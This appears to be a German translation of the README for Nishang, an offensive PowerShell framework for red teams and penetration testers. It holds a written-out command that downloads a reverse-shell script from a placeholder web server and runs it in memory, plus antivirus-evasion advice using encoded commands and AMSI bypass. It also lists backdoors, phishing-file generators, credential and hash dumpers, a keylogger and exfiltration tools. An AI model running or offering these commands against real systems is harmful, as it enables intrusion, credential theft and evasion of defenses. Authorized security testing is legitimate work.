
Nishang - Offensives PowerShell für Red Team, Penetrationstests und offensive Sicherheit.
Von Nikhil Mittal Gründer von Altered Security - Praxisorientiertes Red Team und Enterprise-Sicherheitstraining!
Importieren Sie alle Skripte in die aktuelle PowerShell-Sitzung (PowerShell v3 und höher).
PS C:\nishang> Import-Module .\nishang.psm1
Verwenden Sie die einzelnen Skripte mit Dot-Sourcing.
PS C:\nishang> . C:\nishang\Gather\Get-Information.ps1
PS C:\nishang> Get-Information
Um Hilfe zu einem Skript oder einer Funktion zu erhalten, verwenden Sie:
PS C:\nishang> Get-Help [scriptname] -full
Beachten Sie, dass die Hilfe ab Version 0.3.8 für die nach dem Ausführen des Skripts geladene Funktion und nicht für das Skript selbst verfügbar ist. In allen Fällen ist der Funktionsname identisch mit dem Skriptnamen.
Um beispielsweise die Hilfe zu Get-WLAN-Keys.ps1 anzuzeigen, verwenden Sie
PS C:\nishang> . C:\nishang\Get-WLAN-Keys.ps1
PS C:\nishang> Get-Help Get-WLAN-Keys -Full
Nishang-Skripte werden von vielen Antivirenprogrammen als bösartig eingestuft. Die Skripte auf einem Ziel sollen im Arbeitsspeicher verwendet werden, was mit PowerShell sehr einfach ist. Zwei grundlegende Methoden zur Ausführung von PowerShell-Skripten im Arbeitsspeicher:
Methode 1. Verwenden Sie den In-Memory-Download und die Ausführung: Verwenden Sie den folgenden Befehl, um ein PowerShell-Skript von einer Remote-Shell, einer Meterpreter-Native-Shell, einer Webshell usw. auszuführen, sowie die von ihm exportierte Funktion. Alle Skripte in Nishang exportieren eine Funktion mit demselben Namen in der aktuellen PowerShell-Sitzung.
powershell iex (New-Object Net.WebClient).DownloadString('http://<yourwebserver>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]
Methode 2. Verwenden Sie den Parameter -encodedcommand (oder -e) von PowerShell
Alle Skripte in Nishang exportieren eine Funktion mit demselben Namen in der aktuellen PowerShell-Sitzung. Stellen Sie daher sicher, dass der Funktionsaufruf im Skript selbst erfolgt, wenn Sie den Parameter encodedcommand von einer Nicht-PowerShell-Shell aus verwenden. Fügen Sie für obiges Beispiel einen Funktionsaufruf (ohne Anführungszeichen) "Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]" hinzu.
Kodieren Sie das Skript mit Invoke-Encode aus Nishang:
PS C:\nishang> . \nishang\Utility\Invoke-Encode
PS C:\nishang> Invoke-Encode -DataToEncode C:\nishang\Shells\Invoke-PowerShellTcp.ps1 -OutCommand
Kodierte Daten geschrieben nach .\encoded.txt
Kodierter Befehl geschrieben nach .\encodedcommand.txt
Verwenden Sie von oben das kodierte Skript aus encodedcommand.txt und führen Sie es auf einem Ziel aus, auf dem Befehle ausgeführt werden können (eine Remote-Shell, eine Meterpreter-Native-Shell, eine Webshell usw.). Verwenden Sie es wie folgt:
C:\Users\target> powershell -e [encodedscript]
Falls die Skripte trotzdem erkannt werden, hilft es, die Funktions- und Parameternamen zu ändern und den Hilfetext zu entfernen.
Falls AMSI von Windows 10 die Skriptausführung weiterhin blockiert, siehe diesen Blog: http://www.labofapenetrationtester.com/2016/09/amsi.html
Nishang enthält derzeit die folgenden Skripte und Payloads.
Ändert AD-Objekte, um minimale Berechtigungen für DCShadow bereitzustellen.
Führen Sie PowerShell-Skripte im Arbeitsspeicher aus, führen Sie Befehle aus und laden Sie Dateien mit dieser Webshell hoch und herunter.
Ein Hintertürchen, das Anweisungen von Drittanbieter-Websites empfangen und PowerShell-Skripte im Arbeitsspeicher ausführen kann.
Ein Hintertürchen, das Befehle und PowerShell-Skripte aus DNS-TXT-Abfragen empfangen, auf einem Ziel ausführen und über die Abfragen ferngesteuert werden kann.
Ein Hintertürchen, das PowerShell-Skripte zu einem bestimmten Zeitpunkt auf einem Ziel ausführen kann.
Ein Hintertürchen, das Befehle und Skripte von einer WLAN-SSID empfangen kann, ohne sich mit ihr zu verbinden.
Ein Hintertürchen, das den Windows-Bildschirmschoner für die ferngesteuerte Befehls- und Skriptausführung nutzen kann.
Ein Hintertürchen, das alternative Datenströme und die Windows-Registrierung zur Persistenz nutzen kann.
Ein Hintertürchen, das den bekannten Debugger-Trick verwendet, um Payloads mit Sticky Keys und Utilman (Windows-Taste + U) auszuführen.
Ändert Berechtigungen von DCOM- und WMI-Namespaces, um einem nicht-administrativen Benutzer Zugriff zu gewähren.
Ändert Berechtigungen der PowerShell-Remoteverwaltung, um einem nicht-administrativen Benutzer Zugriff zu gewähren.
Implementierung öffentlich bekannter Methoden zur Umgehung/Vermeidung von AMSI.
Erstellt infizierte CHM-Dateien, die PowerShell-Befehle und -Skripte ausführen können.
Erstellt Word-Dateien und infiziert vorhandene, um PowerShell-Befehle und -Skripte auszuführen.
Erstellt Excel-Dateien und infiziert vorhandene, um PowerShell-Befehle und -Skripte auszuführen.
Erstellt eine HTA-Datei, die auf einem Webserver bereitgestellt und in Phishing-Kampagnen verwendet werden kann.
Erstellt signierte JAR-Dateien, die mit Applets für Skript- und Befehlsausführung verwendet werden können.
Erstellt Verknüpfungsdateien, die PowerShell-Befehle und -Skripte ausführen können.
Erstellt IQY-Dateien für das Phishing von Anmeldeinformationen und SMB-Hashes.
Erstellt JS-Dateien, die PowerShell-Befehle und -Skripte ausführen können.
Erstellt SCT-Dateien, die PowerShell-Befehle und -Skripte ausführen können.
Erstellt eine SCF-Datei, die zum Erfassen von NTLM-Hash-Challenges verwendet werden kann.
Wenn SYSTEM-Berechtigungen benötigt werden.
Führt Schwachstellen ein, indem Patches entfernt werden.
UAC umgehen.
Lädt ein PowerShell-Skript herunter und führt es im Arbeitsspeicher aus.
Lädt eine ausführbare Datei im Textformat herunter, konvertiert sie in eine ausführbare Datei und führt sie aus.
Führt PowerShell-Befehle, systemeigene Befehle oder SQL-Befehle auf einem MSSQL-Server mit ausreichenden Berechtigungen aus.
Führt Shellcode im Arbeitsspeicher mithilfe von DNS-TXT-Abfragen aus.
Führt PowerShell-Befehle und -Skripte oder eine reverse PowerShell-Sitzung mit rundll32.exe aus.
Prüft auf eine virtuelle Maschine.
Kopiert die SAM-Datei mithilfe des Volumenschattenkopie-Dienstes.
Täuscht einen Benutzer, sodass er Anmeldeinformationen im Klartext preisgibt.
Ein Paar von Skripten für Egress-Tests.
Sammelt wertvolle Informationen von einem Ziel.
Ruft LSA-Geheimnisse von einem Ziel ab.
Ruft Passwort-Hashes von einem Ziel ab.
Ruft WLAN-Schlüssel im Klartext von einem Ziel ab.
Zeichnet Tastatureingaben von einem Ziel auf.
Invoke-MimikatzWdigestDowngrade
Gibt Benutzerkennwörter im Klartext unter Windows 8.1 und Server 2012 aus.
Ruft Kennworthinweise von Windows-Benutzern von einem Ziel ab.
Stellt eine Verbindung zurück und streamt den Zielbildschirm mit MJPEG.
Lädt Mimikatz in den Arbeitsspeicher. Aktualisiert und mit einigen Anpassungen.
Extrahiert wertvolle Informationen aus dem Arbeitsspeicher von Zielprozessen (wie Browsern) mithilfe von Regex.
Exfiltriert Informationen wie Benutzeranmeldeinformationen mithilfe der WLAN-SSID.
Identifiziert Admin-Sprungboxen und/oder Computer, die für den Zugriff auf Unix-Maschinen verwendet werden.
Ein lokaler HTTPS-Proxy für MITM-Angriffe.
Überprüft Anmeldeinformationen auf mehreren Computern und erstellt PSSessions.
Run-EXEonRemote Kopiert und führt eine ausführbare Datei auf mehreren Computern aus.
Invoke-NetworkRelay Erstellt Netzwerk-Relays zwischen Computern.
Überprüft die Hashes laufender Prozesse gegen die VirusTotal-Datenbank.
Brute-Force für FTP, Active Directory, MSSQL und Sharepoint.
Ein praktischer Portscanner.
Die gesamte Funktionalität von Nishang in einem einzigen Skriptmodul.
Sendet Befehle und Skripte an ein bestimmtes Gmail-Konto, die von Invoke-PsGcatAgent ausgeführt werden sollen.
Führt von Invoke-PsGcat gesendete Befehle und Skripte aus.
Eine interaktive PowerShell-Reverse-Connect- oder Bind-Shell
Abgespeckte Version von Invoke-PowerShellTcp. Enthält auch eine Skelettversion, die in zwei Tweets passen könnte.
Invoke-PowerShellTcpOneLineBind
Bind-Version von Invoke-PowerShellTcpOneLine.
Eine interaktive PowerShell-Reverse-Connect- oder Bind-Shell über UDP
Abgespeckte Version von Invoke-PowerShellUdp.
Reverse interaktives PowerShell über HTTPS.
Reverse interaktives PowerShell über HTTP.
Bereinigt das System nach der Verwendung von Invoke-PoshRatHttps
Interaktives PowerShell mithilfe von WMI.
Eine interaktive PowerShell-Reverse-Shell über ICMP.
Eine interaktive PowerShell-Reverse-Shell über HTTP mit rundll32.exe.
Eine interaktive PowerShell-Reverse-Shell über HTTP mit regsvr32.exe.
Fügt jedem Skript die Fähigkeit zur Datenexfiltration über Gmail, Pastebin, einen Webserver und DNS hinzu.
Fügt einem Skript die Fähigkeit zur Persistenz nach einem Neustart hinzu.
Entfernt die Persistenz, die vom Add-Persistence-Skript hinzugefügt wurde.
Leiten Sie (|) die Ausgabe an jedes Skript weiter, um sie zu exfiltrieren.
Überträgt eine Datei zum Ziel.
Analysiert die vom Keylogger aufgezeichneten Tastenanschläge.
Kodiert und komprimiert ein Skript oder einen String.
Dekodiert und dekomprimiert ein Skript oder einen String von Invoke-Encode.
Startet einen Webserver, der Basic Authentication und SMB-Hashes protokolliert.
Kodiert einen String in ROT13 oder dekodiert einen ROT13-String.
Generiert DNS-TXT-Einträge, die mit anderen Skripten verwendet werden können.
[Base64ToString]
[StringToBase64]
[ExetoText]
[TexttoExe]
Updates zu Nishang finden Sie in meinem Blog http://labofapenetrationtester.com und auf meinem Twitter-Feed @nikhil_mitt.
Bitte erstellen Sie ein Issue, wenn Sie einen Fehler finden oder eine Funktionsanfrage haben. Sie können mich unter nikhil [dot] uitrgpv at gmail.com kontaktieren.
Für Feedback, Diskussionen und Funktionsanfragen treten Sie bei: http://groups.google.com/group/nishang-users
Ich bin immer auf der Suche nach Mitwirkenden für Nishang. Bitte reichen Sie Anfragen ein oder senden Sie mir eine E-Mail.
Einige hilfreiche Blogbeiträge für Einsteiger:
http://www.labofapenetrationtester.com/2014/06/nishang-0-3-4.html
http://labofapenetrationtester.com/2012/08/introducing-nishang-powereshell-for.html
http://labofapenetrationtester.com/2013/08/powerpreter-and-nishang-Part-1.html
http://www.labofapenetrationtester.com/2013/09/powerpreter-and-nishang-Part-2.html
Alle Beiträge über Nishang: